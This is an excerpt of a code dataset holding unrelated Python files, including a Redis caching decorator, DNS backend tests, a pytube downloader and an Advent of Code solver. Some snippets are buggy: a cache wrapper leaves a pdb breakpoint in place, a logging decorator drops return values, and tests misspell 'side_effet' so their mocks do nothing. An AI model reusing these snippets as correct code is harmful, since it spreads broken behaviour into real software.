available.\n :param default_robot_name: Name of the robot to use if the command line did not contain a name.\n :return: The constructed robot.\n :raise: RunTimeError if no robot could be created.\n \"\"\"\n if len(sys.argv) > index:\n robot_name = sys.argv[index]\n else:\n robot_name = default_robot_name\n\n return get_robot(robot_name)\n\n\ndef get_robot(name):\n # type: (str) -> Robot\n \"\"\"\n Constructs a robot (api) object based on the provided name\n\n :param name: (str) robot name\n :return: (Robot)\n :raises: RuntimeError\n \"\"\"\n rospy.loginfo(\"Constructing robot {}\".format(name))\n robot_class = ROBOTS.get(name.lower())\n if robot_class is not None:\n return robot_class()\n else:\n raise RuntimeError(\"Don't know which robot to construct with name {}\".format(name))\n","sub_path":"robot_skills/src/robot_skills/get_robot.py","file_name":"get_robot.py","file_ext":"py","file_size_in_byte":1361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"414012142","text":"from redis import Redis\nclient = Redis()\nfrom datetime import datetime\nimport json\n\n\ndef logging_decorator(func):\n def wrapper(**kwargs):\n import logging\n logging.info(\"Calling function {} with args\".format(func.__name__, json.dumps(kwargs)))\n start = datetime.now()\n value = func(**kwargs)\n logging.info(\"Func returned {} in {}\".format(json.dumps(value), datetime.now()-start))\n return wrapper\n\n\ndef redis_decorator_expiry(expiry_time=0):\n\n def redis_hadler(func):\n def wrapper(**kwargs):\n import pdb; pdb.set_trace()\n func_name = func.__name__\n key = func_name + json.dumps(kwargs)\n data = client.get(key)\n if data:\n return json.loads(data)\n else:\n data = func(**kwargs)\n client.setex(key, json.dumps(data), expiry_time)\n return data\n return wrapper\n return redis_hadler","sub_path":"app_redis/app_redis/utils/cache_decorator.py","file_name":"cache_decorator.py","file_ext":"py","file_size_in_byte":959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"316281211","text":"# -*-coding:utf-8-*- \n\"\"\"\n@Author : llame\n@Software: PyCharm\n@Time : 2020/10/16 2:19 下午\n\"\"\" \n# 题目:输入某二叉树的前序遍历和中序遍历的结果,请重建出该二叉树。\n# 假设输入的前序遍历和中序遍历的结果中都不含重复的数字。\n# 例如输入前序遍历序列{1,2,4,7,3,5,6,8} 和中序遍历序列{4,7,2,1,5,3,8,6},则重建二叉树并返回。\n\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\nclass Solution:\n # 返回构造的TreeNode根节点\n def reConstructBinaryTree(self, pre, tin):\n # write code here\n if len(pre)==0:\n return None\n root=TreeNode(pre[0])\n TinIndex=tin.index(pre[0])\n root.left=self.reConstructBinaryTree(pre[1:TinIndex+1], tin[0:TinIndex])\n root.right=self.reConstructBinaryTree(pre[TinIndex+1:], tin[TinIndex+1:])\n return root\n def PostTraversal(self,root): #后序遍历\n if root != None:\n self.PostTraversal(root.left)\n self.PostTraversal(root.right)\n print(root.val)\npre=[1,2,4,7,3,5,6,8]\ntin=[4,7,2,1,5,3,8,6]\nS=Solution()\nroot=S.reConstructBinaryTree(pre,tin)\nS.PostTraversal(root)\n\n","sub_path":"algorithm/37-已知二叉树前序中序求后序遍历.py","file_name":"37-已知二叉树前序中序求后序遍历.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"40776374","text":"# Copyright (C) 2013 eNovance SAS \n#\n# Author: Artom Lifshitz \n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport eventlet\nimport os\nimport socket\nimport ssl\nfrom designate import exceptions\nfrom designate.tests.test_backend import BackendTestCase\nfrom mock import MagicMock\n# impl_nsd4slave needs to register its options before being instanciated.\n# Import it and pretend to use it to avoid flake8 unused import errors.\nfrom designate.backend import impl_nsd4slave\nimpl_nsd4slave\n\n\nclass NSD4ServerStub:\n recved_command = None\n response = 'ok'\n keyfile = os.path.join(os.path.dirname(__file__), 'nsd_server.key')\n certfile = os.path.join(os.path.dirname(__file__), 'nsd_server.pem')\n\n def handle(self, client_sock, client_addr):\n stream = client_sock.makefile()\n self.recved_command = stream.readline()\n stream.write(self.response)\n stream.flush()\n\n def start(self):\n self.port = 1025\n while True:\n try:\n eventlet.spawn_n(eventlet.serve,\n eventlet.wrap_ssl(\n eventlet.listen(('127.0.0.1', self.port)),\n keyfile=self.keyfile,\n certfile=self.certfile,\n server_side=True),\n self.handle)\n break\n except socket.error:\n self.port = self.port + 1\n\n def stop(self):\n eventlet.StopServe()\n\n\nclass NSD4SlaveBackendTestCase(BackendTestCase):\n __test__ = True\n\n def setUp(self):\n super(NSD4SlaveBackendTestCase, self).setUp()\n self.servers = [NSD4ServerStub(), NSD4ServerStub()]\n [server.start() for server in self.servers]\n impl_nsd4slave.DEFAULT_PORT = self.servers[0].port\n self.config(backend_driver='nsd4slave', group='service:agent')\n self.config(\n servers=['127.0.0.1', '127.0.0.1:%d' % self.servers[1].port],\n group='backend:nsd4slave')\n keyfile = os.path.join(os.path.dirname(__file__), 'nsd_control.key')\n certfile = os.path.join(os.path.dirname(__file__), 'nsd_control.pem')\n self.config(keyfile=keyfile, group='backend:nsd4slave')\n self.config(certfile=certfile, group='backend:nsd4slave')\n self.config(pattern='test-pattern', group='backend:nsd4slave')\n self.nsd4 = self.get_backend_driver()\n\n def tearDown(self):\n super(NSD4SlaveBackendTestCase, self).tearDown()\n [server.stop() for server in self.servers]\n\n def test_create_domain(self):\n context = self.get_context()\n domain = self.get_domain_fixture()\n self.nsd4.create_domain(context, domain)\n command = 'NSDCT1 addzone %s test-pattern\\n' % domain['name']\n [self.assertEqual(server.recved_command, command)\n for server in self.servers]\n\n def test_delete_domain(self):\n context = self.get_context()\n domain = self.get_domain_fixture()\n self.nsd4.delete_domain(context, domain)\n command = 'NSDCT1 delzone %s\\n' % domain['name']\n [self.assertEqual(server.recved_command, command)\n for server in self.servers]\n\n def test_server_not_ok(self):\n self.servers[0].response = 'goat'\n context = self.get_context()\n domain = self.get_domain_fixture()\n self.assertRaises(exceptions.NSD4SlaveBackendError,\n self.nsd4.create_domain,\n context, domain)\n\n def test_ssl_error(self):\n self.nsd4._command = MagicMock(side_effet=ssl.SSLError)\n context = self.get_context()\n domain = self.get_domain_fixture()\n self.assertRaises(exceptions.NSD4SlaveBackendError,\n self.nsd4.create_domain,\n context, domain)\n\n def test_socket_error(self):\n self.nsd4._command = MagicMock(side_effet=socket.error)\n context = self.get_context()\n domain = self.get_domain_fixture()\n self.assertRaises(exceptions.NSD4SlaveBackendError,\n self.nsd4.create_domain,\n context, domain)\n","sub_path":"designate/tests/test_backend/test_nsd4slave.py","file_name":"test_nsd4slave.py","file_ext":"py","file_size_in_byte":4758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"260354144","text":"import pickle\nimport os\nfileDir = os.path.dirname(os.path.realpath(__file__))\nfacelistDir = os.path.join(fileDir,\"facelist.p\")\n\nfacelist = {'Lucas':'person-1','Tapan':'person-2','Daniel':'person-3',\n 'Deepali':'person-4','Yodar':'person-5','Sean':'person-6',\n 'Salasky':'person-7','Qiming':'person-8','Alex':'person-9','Unknown':'Unknown'}\n\npickle.dump(facelist, open(facelistDir, \"wb\"))\n","sub_path":"faceclassifier_recoverpickle.py","file_name":"faceclassifier_recoverpickle.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"325052275","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('projects', '0005_project_main_caption'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='project',\n name='main_alt_tag',\n field=models.CharField(default='I am an alt tag. Please replace me.', max_length=200),\n preserve_default=False,\n ),\n ]\n","sub_path":"projects/migrations/0006_project_main_alt_tag.py","file_name":"0006_project_main_alt_tag.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"14541128","text":"import datetime\n\n\"\"\"\nClass hierarchy\n______________________________________________________\n\n Person\n |\n MITPerson\n |\n _________________________\n | | \n Student Professor\n |\n _______________________________\n | | |\n UG TransferStudent Grad\n\n\"\"\"\n\n\nclass Person(object):\n def __init__(self, name):\n \"\"\" Create person called name \"\"\"\n self.name = name\n self.birthday = None\n\n # assumes space is between first and last name - extract last name\n self.lastName = name.split(' ')[-1]\n\n def getLastName(self):\n \"\"\" Return last name \"\"\"\n return self.lastName\n\n def setBirthday(self, month, day, year):\n \"\"\" Sets self's birthday to birthDate\"\"\"\n self.birthday = datetime.date(year, month, day)\n\n def getAge(self):\n \"\"\" Returns self's current age in days \"\"\"\n if self.birthday is None:\n raise ValueError(\"No birthdate set\")\n return (datetime.date.today() - self.birthday).days\n\n def __lt__(self, other): # custom less than methond\n \"\"\" Returns True if self's name is < other's name, and False otherwise \"\"\"\n if self.lastName == other.lastName:\n return (self.name < other.name)\n return (self.lastName < other.lastName)\n\n def __str__(self):\n \"\"\" Return self's name \"\"\"\n return self.name\n\n\nclass MITPerson(Person):\n nextIDNum = 0 # next ID number to assign\n\n def __init__(self, name):\n Person.__init__(self, name) # initialize Person attribs\n self.idNum = MITPerson.nextIDNum # MITPerson attribute: unique ID\n MITPerson.nextIDNum += 1\n\n def getIdNum(self):\n return self.idNum\n\n def speak(self, utterance):\n return (self.name + \" says: \" + utterance)\n\n # Sorting MIT People user their ID number, not name\n def __lt__(self, other):\n return self.idNum < other.idNum\n\n\nclass Professor(MITPerson):\n def __init__(self, name, department):\n MITPerson.__init__(self, name)\n self.department = department\n\n def speak(self, utterance):\n new = 'In course ' + self.department + ' we say '\n return MITPerson.speak(self, new + utterance)\n\n def lecture(self, topic):\n return self.speak(\"It is obvious that \" + topic)\n\n\n# create new superclass that covers all students\nclass Student(MITPerson):\n pass\n\n\nclass UG(Student):\n def __init__(self, name, classYear):\n MITPerson.__init__(self, name)\n self.year = classYear\n\n def getClass(self):\n return self.year\n\n def speak(self, utterance):\n return (MITPerson.speak(self, \"Yo Bro, \" + utterance))\n\n\nclass Grad(Student):\n pass\n\n\nclass TransferStudent(Student):\n pass\n\n\ndef isStudent(obj):\n return isinstance(obj, Student)\n\n\nclass Grades(object):\n \"\"\"A mapping from students to a list of grades\"\"\"\n\n def __init__(self):\n \"\"\"Create empty grade book\"\"\"\n self.students = [] # list of Student objects\n self.grades = {} # maps idNum -> list of grades\n self.isSorted = True # true if self.students is sorted\n\n def addStudent(self, student):\n \"\"\"\n Assumes: student is of type Student\n Add student to the grade book\n \"\"\"\n if student in self.students:\n raise ValueError('Duplicate student')\n self.students.append(student)\n self.grades[student.getIdNum()] = []\n self.isSorted = False\n\n def addGrade(self, student, grade):\n \"\"\"\n Assumes: grade is a float\n Add grade to the list of grades for a student\n \"\"\"\n try:\n # index into dict using IdNum; returns list of grades\n # then mutates self.grades with added grade\n self.grades[student.getIdNum()].append(grade)\n except:\n raise ValueError(\"Student not in grade book\")\n\n def getGrades(self, student):\n \"\"\" Return a list of grades for student \"\"\"\n try: # return copy of student's grades\n # index into dict using IdNum, then return a copy [:]\n return self.grades[student.getIdNum()][:]\n except KeyError:\n raise ValueError(\"Student not in grade book\")\n\n # USING GENERATOR CONSTRUCT\n def allStudents(self):\n \"\"\" Return a list of students in the grade book \"\"\"\n if not self.isSorted:\n self.students.sort()\n self.isSorted = True\n # return self.students[:]\n for s in self.students:\n yield s # generator\n\n\n\ndef gradeReport(course):\n \"\"\"Assumes: course if of type grades\"\"\"\n report = []\n for s in course.allStudents():\n tot = 0.0\n numGrades = 0\n for g in course.getGrades(s):\n tot += g\n numGrades += 1\n try:\n average = tot/numGrades\n report.append(str(s) + '\\'s mean grade is '\n + str(average))\n except ZeroDivisionError:\n report.append(str(s) + ' has no grades')\n return '\\n'.join(report)\n\n# def gradeReport(course):\n# \"\"\" Assumes: course is of type grades \"\"\"\n# report = []\n# for s in course.allStudents():\n# tot = 0.0\n# numGrades = 0\n\n# for g in course.getGrades(s):\n# tot += g\n# numGrades += 1\n\n# try:\n# average = tot / numGrades\n# report.append(str(s) + '\\'s mean grade is ' + str(average))\n\n# except ZeroDivisionError:\n# report.append(str(s) + ' has no grades')\n\n# return ('\\n'.join)\n\n\nug1 = UG('Matt Damon', 2018)\nug2 = UG('Ben Affleck', 2019)\nug3 = UG('Drew Houston', 2017)\nug4 = UG('Mark Zuckerberg', 2017)\ng1 = Grad('Bill Gates')\ng2 = Grad('Steve Wozniak')\n\nsix00 = Grades()\n\nsix00.addStudent(g1)\nsix00.addStudent(ug2)\nsix00.addStudent(ug1)\nsix00.addStudent(g2)\nsix00.addStudent(ug4)\nsix00.addStudent(ug3)\n\n\nsix00.addGrade(g1, 100)\nsix00.addGrade(g2, 25)\nsix00.addGrade(ug1, 95)\nsix00.addGrade(ug2, 85)\nsix00.addGrade(ug3, 75)\n\nfor e in six00.students:\n print (e)\n\nprint()\nprint(gradeReport(six00))\n\n\n\n# for s in six00.allStudents():\n# print (s.getGrades())","sub_path":"01_MIT_Learning/week_5/lectures_and_examples/Section 2/sec_2_generators_grade.py","file_name":"sec_2_generators_grade.py","file_ext":"py","file_size_in_byte":6394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"39233333","text":"# 例 6-1\ndef sayHello(): # 函数定义\n print(\"Hello World!\") # 函数体\n\n\nsayHello() # 函数调用\n\n\n# 例 6-2\ndef sayHello1(s): # 函数定义\n print(s) # 函数体\n\n\nsayHello1(\"Hello!\") # 函数调用\nsayHello1(\"How are you?\")\n\n\n# 例 6-3\ndef fac(num):\n if num == 1:\n return 1\n elif num < 1:\n return 0\n else:\n ret = 1\n while num > 1:\n ret *= num\n num -= 1\n return ret\n\n\nprint(6, \"!=\", fac(6), sep=\"\")\nprint(16, \"!=\", fac(16), sep=\"\")\nprint(26, \"!=\", fac(26), sep=\"\")\nprint(0, \"!=\", fac(0), sep=\"\")\nprint(1, \"!=\", fac(1), sep=\"\")\n","sub_path":"SXB/venv/函数/函数的定义.py","file_name":"函数的定义.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"455864164","text":"# -*- coding: utf-8 -*-\n\"\"\"\n\n Pytube interaction module\n\n\"\"\"\nimport os\nimport time\n\nimport requests\nfrom bs4 import BeautifulSoup\nfrom pytube.exceptions import PytubeError\nfrom pytube import YouTube, Playlist\nfrom colorama import init, Fore\n\nimport yt_links\nimport yt_graphics\nimport yt_files\n\ninit(autoreset=True)\n\nOLD_PERCENT: int = 0\nTOTAL_MBS: int = 0\nTOTAL_FILES: int = 0\nCURRENT_URL: str = ''\nCURRENT_FILENAME: str = ''\n\"\"\"\nOLD_PERCENT - variable, previous value of downloaded percent. Used to avoid constant\n reprinting of the status on each new chunk of file. Used by callback\n function \"progress_call\"\n\nTOTAL_MBS - variable, total downloaded mbs. Used by callback function \"complete_call\"\n\nTOTAL_FILES - variable, total downloaded files. Used by callback function \"complete_call\"\n\nCURRENT_URL - variable, url for the file we're downloading right now.\n Used by callback function \"complete_call\"\n\nCURRENT_FILENAME - variable, name for the file we're downloading right now.\n Used by callback function \"complete_call\"\n\"\"\"\n\n\ndef download_all(links: list):\n \"\"\"\n Proxy for download_video()\n \"\"\"\n links.sort(key=len)\n total = len(links)\n yt_files.hide_cursor()\n for i, outer_link in enumerate(links, start=1):\n if 'list=' in outer_link:\n inner_links = unfold_playlist(outer_link)\n\n if inner_links:\n request = requests.get(outer_link)\n soup = BeautifulSoup(request.text, 'html.parser')\n title_name = soup.find(\"title\")\n if title_name:\n title = title_name.text\n title = title.replace(' - YouTube', '')\n else:\n title = ''\n\n if i > 1:\n print()\n\n sub_total = len(inner_links)\n print(Fore.MAGENTA + f'Downloading from playlist: {Fore.WHITE + title}')\n print(Fore.MAGENTA + f'{outer_link[0:80]}')\n\n item = yt_files.Record('', outer_link[23:], '!start!', title)\n yt_files.cut_lines(item)\n\n for j, inner_link in enumerate(inner_links, start=1):\n download_video(j, sub_total, inner_link)\n\n item = yt_files.Record('', outer_link, '!complete!', title)\n yt_files.cut_lines(item)\n\n print(Fore.MAGENTA + f'Complete: {len(inner_links)} files')\n if i < len(links):\n print()\n else:\n print('\\n' + Fore.RED + f'Inner links of the playlist are unreachable:')\n print(Fore.RED + outer_link + '\\n')\n else:\n download_video(i, total, outer_link)\n\n\ndef download_video(num: int, total: int, url: str):\n \"\"\"\n Main downloading function\n \"\"\"\n global CURRENT_URL, CURRENT_FILENAME\n\n parameters = {'num': num, 'end': total, 'url': url, 'size': 0, 'percents': 0, 'filename': ''}\n yt_graphics.set_parameters(parameters)\n\n for attempt in range(1, 11): # maximum 10 attempts\n try:\n youtube = YouTube(url=url)\n stream = youtube.streams.filter(progressive=True, file_extension=\"mp4\").first()\n break\n except (PytubeError, ConnectionError):\n yt_graphics.unable_to_reach(attempt)\n time.sleep(1)\n else:\n yt_graphics.unaviable()\n yt_files.cut_lines(yt_files.Record('', url, '[unaviable]', 'Unknown'))\n return\n\n safe_name = 'video_' + str(url[32:]).upper() + '.mp4'\n filename = yt_links.defuse_name(stream.default_filename, safe_name)\n\n parameters = {'num': num, 'end': total, 'url': url, 'size': stream.filesize,\n 'percents': 0, 'filename': filename}\n\n CURRENT_URL = url\n CURRENT_FILENAME = filename\n yt_graphics.set_parameters(parameters)\n\n youtube.register_on_progress_callback(progress_call)\n youtube.register_on_complete_callback(complete_call)\n\n path = yt_files.SAVE_PATH\n if os.path.isfile(path + filename) and os.path.getsize(path + filename) == stream.filesize:\n yt_graphics.call_status_for_already_exist()\n yt_files.cut_lines(yt_files.Record('', url, '[ exist ]', filename))\n else:\n try:\n stream.download(path, filename[0:-4])\n except OSError as error:\n print(Fore.RED + f'Unable to save file: {filename}')\n print(Fore.RED + f'Reason: [{error.strerror}][{error.errno}] - [{error.args}]')\n return\n\n\ndef unfold_playlist(playlist_link):\n \"\"\"\n Get inner links of the playlist from the youtube\n \"\"\"\n inner_links = []\n for _ in range(1, 11): # maximum 10 attempts\n try:\n inner_links = Playlist(playlist_link).parse_links()\n break\n except PytubeError:\n time.sleep(1) # let's try again after 1 second\n\n return inner_links\n\n\ndef complete_call(stream=None, file_handle=None):\n \"\"\"\n Gets called from pytube on finished download\n \"\"\"\n global TOTAL_FILES, TOTAL_MBS\n\n TOTAL_FILES += 1\n TOTAL_MBS += stream.filesize / 1024 / 1024\n\n yt_graphics.call_status_for_complete()\n item = yt_files.Record('', new_url=CURRENT_URL, message='!complete!', name=CURRENT_FILENAME)\n yt_files.cut_lines(item)\n\n\ndef progress_call(stream=None, chunk=None, file_handle=None, remaining=None):\n \"\"\"\n Gets called from pytybe on every new chunk of file\n \"\"\"\n global OLD_PERCENT\n\n complete_bytes = file_handle.tell()\n total_bytes = remaining + complete_bytes\n new_percents = int((complete_bytes / total_bytes) * 100)\n\n if OLD_PERCENT == new_percents:\n # refresh only on changes\n return\n\n OLD_PERCENT = new_percents\n yt_graphics.call_status_for_progres(new_percents)\n","sub_path":"yt_youtube.py","file_name":"yt_youtube.py","file_ext":"py","file_size_in_byte":5813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"288575872","text":"import math\nimport typing\nfrom collections import Counter, defaultdict\nfrom dataclasses import dataclass\nfrom typing import Dict, List, NamedTuple\n\nfrom adventofcode2019.utils.abstract import FileReaderSolution\n\n\nclass Chemical(NamedTuple):\n consumable: int\n name: str\n\n\nclass Recipe(NamedTuple):\n inputs: List[Chemical]\n output: Chemical\n\n @staticmethod\n def parse_recipe_string(input_string: str) -> \"Recipe\":\n \"\"\"Parse a string as a Recipe and return a new Recipe.\n\n :param input_string: Input string, for example \"1 A, 2 B, 3 C => 2 D\n :return Recipe object\n \"\"\"\n inputs, outputs = input_string.strip().split(\" => \")\n\n input_parts = inputs.split(\",\")\n\n input_chemicals = []\n\n for input_part in input_parts:\n consumable, name = input_part.strip().split(\" \")\n input_chemicals.append(\n Chemical(consumable=int(consumable), name=name.strip())\n )\n\n consumable, name = outputs.split(\" \")\n output_chemical = Chemical(consumable=int(consumable), name=name)\n\n new_recipe = Recipe(inputs=input_chemicals, output=output_chemical)\n return new_recipe\n\n\n@dataclass\nclass Node:\n name: str\n edges: list\n\n def __init__(self, name: str):\n self.name = name\n self.edges = []\n\n def add_edge(self, node: \"Node\"):\n self.edges.append(node)\n\n\nclass NanoFactory:\n warehouse: defaultdict\n recipes: Dict[str, Recipe]\n\n def __init__(self):\n self.warehouse = defaultdict(int)\n self.recipes = {}\n\n def read_input(self, input_lines: str):\n for line in input_lines.splitlines():\n recipe = Recipe.parse_recipe_string(line)\n self.recipes[recipe.output.name] = recipe\n\n def _get_requirement_for_one(self, output: str, n: int) -> Dict[str, int]:\n \"\"\"Compute what we need for `n` units of `output` and return this as a Dict.\n For example, with the recipe `4 C, 1 A => 1 CA`, when we need 4 of `CA`, return\n {\"C\": 16, \"A\": 4}\n \"\"\"\n result = {}\n output_recipe = self.recipes.get(output)\n if output_recipe:\n # We can only create multiples, eg if `mutiple` is 10, and `n` is 15,\n # we have to create 20 units.\n multiple_required = output_recipe.output.consumable\n number_needed = math.ceil(n / multiple_required)\n\n for input_recipe in output_recipe.inputs:\n result[input_recipe.name] = input_recipe.consumable * number_needed\n return result\n\n def dep_resolve(self, node: Node, resolved: List, unresolved: List):\n \"\"\"\n Resolve the order in which we need to process out recipe.\n Does checks for circular dependencies ( A->B->C->A )\n Code from https://www.electricmonk.nl\n\n :param node: Root node\n :param resolved: List of resolved nodes\n :param unresolved: List of onresolved nodes\n :return:\n \"\"\"\n unresolved.append(node)\n for edge in node.edges:\n if edge not in resolved:\n if edge in unresolved:\n raise Exception(\n f\"Circular reference detected: {node.name} -> {edge.name}\"\n )\n self.dep_resolve(edge, resolved, unresolved)\n resolved.append(node)\n unresolved.remove(node)\n\n def create_nodes(self) -> Node:\n \"\"\"\n Create all the `Node` instances for the current recipes and return the\n root_node with all the childeren in the Edges\n \"\"\"\n nodes = {}\n root_node: Node\n # Firstly, Creates nodes\n for key, recipe in self.recipes.items():\n node = Node(key)\n nodes[key] = node\n if key == \"FUEL\":\n root_node = node\n\n # Since ORE isn't really output but the result, we add it by hand\n nodes[\"ORE\"] = Node(\"ORE\")\n\n # Next, create all the Edges\n for key, recipe in self.recipes.items():\n for input_recipe in recipe.inputs:\n input_recipe_node = nodes[input_recipe.name]\n nodes[key].add_edge(input_recipe_node)\n\n return root_node\n\n def resolve_tree(self) -> List[Node]:\n \"\"\" Resolve the tree and return a list of nodes in order to process them.\"\"\"\n root_node = self.create_nodes()\n resolved: List[Node] = []\n self.dep_resolve(root_node, resolved, [])\n return resolved\n\n def ore_needed_for_n_fuel(self, n=1) -> int:\n \"\"\" Compute how many ORE we need for `n` fuel object\"\"\"\n # Do a recursive from FUEL to ORE\n resolved = self.resolve_tree()\n\n counter: typing.Counter = Counter()\n # See what we need. We need to start revedsed, because we do not know how many\n # ORE we need for 1 FUEL\n for node in reversed(resolved):\n if len(node.edges) == 0:\n # Ore, doesn't need anything\n continue\n\n if node.name == \"FUEL\":\n qty = n\n else:\n qty = counter[node.name]\n\n requirements_for_node = self._get_requirement_for_one(node.name, qty)\n counter.update(requirements_for_node)\n\n return counter[\"ORE\"]\n\n\nclass Day14:\n pass\n\n\nclass Day14PartA(Day14, FileReaderSolution):\n def solve(self, input_data: str) -> int:\n factory = NanoFactory()\n factory.read_input(input_data)\n ore = factory.ore_needed_for_n_fuel()\n return ore\n\n\nclass Day14PartB(Day14, FileReaderSolution):\n def binary_search(\n self, search: int = 1_000_000_000_000, factory: NanoFactory = None\n ) -> int:\n \"\"\"\n Implement a binary search to search for the magic number\n :param search: The number we want to his\n :param factory: The NanoFactory that generates the ore\n :return: Number if `fuel` that can be created from `search` ore.\n \"\"\"\n if not factory:\n return -1\n\n low = 1\n middle = 0\n high = search\n found = False\n ore_needed = 0\n\n while low < high and not found:\n middle = (low + high + 1) // 2\n ore_needed = factory.ore_needed_for_n_fuel(middle)\n if ore_needed == search:\n return middle\n else:\n if search < ore_needed:\n high = middle - 1\n else:\n low = middle\n\n # Our result may not overshoot the search, remove one if too high\n if ore_needed > search:\n middle -= 1\n return middle\n\n def solve(self, input_data: str) -> int:\n factory = NanoFactory()\n factory.read_input(input_data)\n res = 1_000_000_000_000\n\n res = self.binary_search(res, factory)\n return res\n","sub_path":"src/adventofcode2019/solutions/day14.py","file_name":"day14.py","file_ext":"py","file_size_in_byte":6857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"631352214","text":"from pay_py.alipay_mobile_web import Utils\nfrom pay_py import constants\n\ndef alipay_web():\n from pay_py import alipay_mobile_web\n client = alipay_mobile_web.Client(\n constants.partner,\n constants.partner,\n constants.key,\n '../pay_py/cacert_mobile_web.pem',\n )\n pay_url = client.generate_request_url(\n 'notify_url',\n 'return_url',\n Utils.create_out_trade_no(),\n 'subject',\n '0.01',\n 'show_url'\n )\n\n print(pay_url)\n\n\nif __name__ == '__main__':\n alipay_web()","sub_path":"samples/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"275439179","text":"#Writen by: Michael Eckrote\r\n#\r\n# This program is going to accept some input about distance and\r\n# time, and will use that info to determine all sorts of cool things!\r\n\r\n# This container hold how many feet are in various distances\r\ndistance_key_feet = {\r\n 'inch': 1/12, 'Inch': 1/12, 'inches': 1/12, 'Inches': 1/12,\r\n 'Feet': 1, 'feet': 1, 'foot': 1, 'Foot': 1,\r\n 'yard': 3, 'Yard': 3, 'yards': 3, 'Yards': 3,\r\n 'Mile': 5280, 'mile': 5280, 'Miles': 5280, 'miles': 5280,\r\n 'kilometers': 3280.84, 'Kilometers': 3280.84, 'kilometer': 3280.84,'Kilometer': 3280.84,\r\n 'meter': 3.28084, 'Meter': 3.28084, 'meters': 3.28084, 'Meters': 3.28084,\r\n 'centimeter': 0.0328084, 'Centimeter': 0.0328084, 'centimeters': 0.0328084, 'Centimeters': 0.0328084,\r\n 'millimeter': 0.00328084, 'Millimeter': 0.00328084, 'Millimeters': 0.00328084, 'millimeters': 0.00328084\r\n}\r\n\r\n# This container holds how many hours are in various units of time\r\ntime_key_hours = {\r\n 'seconds': 0.000277778, 'Seconds': 0.000277778, 'second': 0.000277778, 'Second': 0.000277778, 'sec': 0.000277778, 'secs': 0.000277778, 'Sec': 0.000277778, 'Secs': 0.000277778,\r\n 'minutes': 0.0166667, 'Minutes': 0.0166667, 'minute': 0.0166667, 'Minute': 0.0166667, 'min': 0.0166667, 'Min': 0.0166667, 'mins': 0.0166667, 'Mins': 0.0166667,\r\n 'hour': 1, 'Hour': 1, 'hours': 1, 'Hours': 1,\r\n 'day': 24, 'Day': 24, 'days': 24, 'Days': 24,\r\n 'year': 8760, 'Year': 8760, 'years': 8760, 'Years': 8760\r\n}\r\n\r\n# The section asks the user for all the required info (5 prompts)\r\n\r\n# 1\r\nchosen_location = input(\r\n 'Think of a location you travel\\n'\r\n 'to every day; preferable somewhere\\n'\r\n 'close like work or school:\\n'\r\n ''\r\n)\r\nprint('')\r\n\r\n#2\r\ndistance_to_location = float(input(\r\n 'Enter the distance you travel\\n'\r\n 'going to %s in whatever unit of\\n'\r\n 'measurement that you want (numbers only):\\n'\r\n '' % chosen_location\r\n))\r\nprint('')\r\n\r\n#3\r\nchosen_unit_of_distance = input(\r\n 'Enter the unit of distance you chose\\n'\r\n 'ex - miles, feet, kilometers:\\n'\r\n ''\r\n)\r\nprint('')\r\n\r\n#4\r\ntime_to_location = float(input(\r\n 'Enter the time it takes to travel\\n'\r\n 'to %s in whatever unit of measurement\\n'\r\n 'that you want (numbers only):\\n'\r\n '' % chosen_location\r\n))\r\nprint('')\r\n\r\n#5\r\nchosen_unit_of_time = input(\r\n 'Enter the unit of time you chose\\n'\r\n 'ex- seconds, minutes, hours:\\n'\r\n ''\r\n)\r\nprint('')\r\n\r\n# These next 2 lines convert any input into miles and hours, and then MPH\r\ndistance_to_location_in_miles = (distance_key_feet[chosen_unit_of_distance] * distance_to_location) / 5280\r\ntime_to_location_in_hours = time_key_hours[chosen_unit_of_time] * time_to_location\r\nmph_to_location = distance_to_location_in_miles / time_to_location_in_hours\r\ndays_to_the_moon = (238900 / mph_to_location) / 24\r\ndays_to_mars = (33900000 / mph_to_location) / 24\r\n\r\nprint('%s is %s miles from your home' % (chosen_location, distance_to_location_in_miles))\r\nprint('')\r\nprint('it takes you %s hours to get there' %time_to_location_in_hours)\r\nprint('')\r\nprint('you travel to %s at an average speed of %s mph' %(chosen_location, mph_to_location))\r\nprint('')\r\nprint('it would take you %s days to travel to the moon at that speed,' % days_to_the_moon)\r\nprint('and %s days to get to mars!' % days_to_mars)\r\n\r\n","sub_path":"unit1.py","file_name":"unit1.py","file_ext":"py","file_size_in_byte":3318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"538846978","text":"#동명이인을 찾는 알고리즘\n\n#두 번 이상 나온 이름 찾기\n#입력 : 이름이 n개 들어 있는 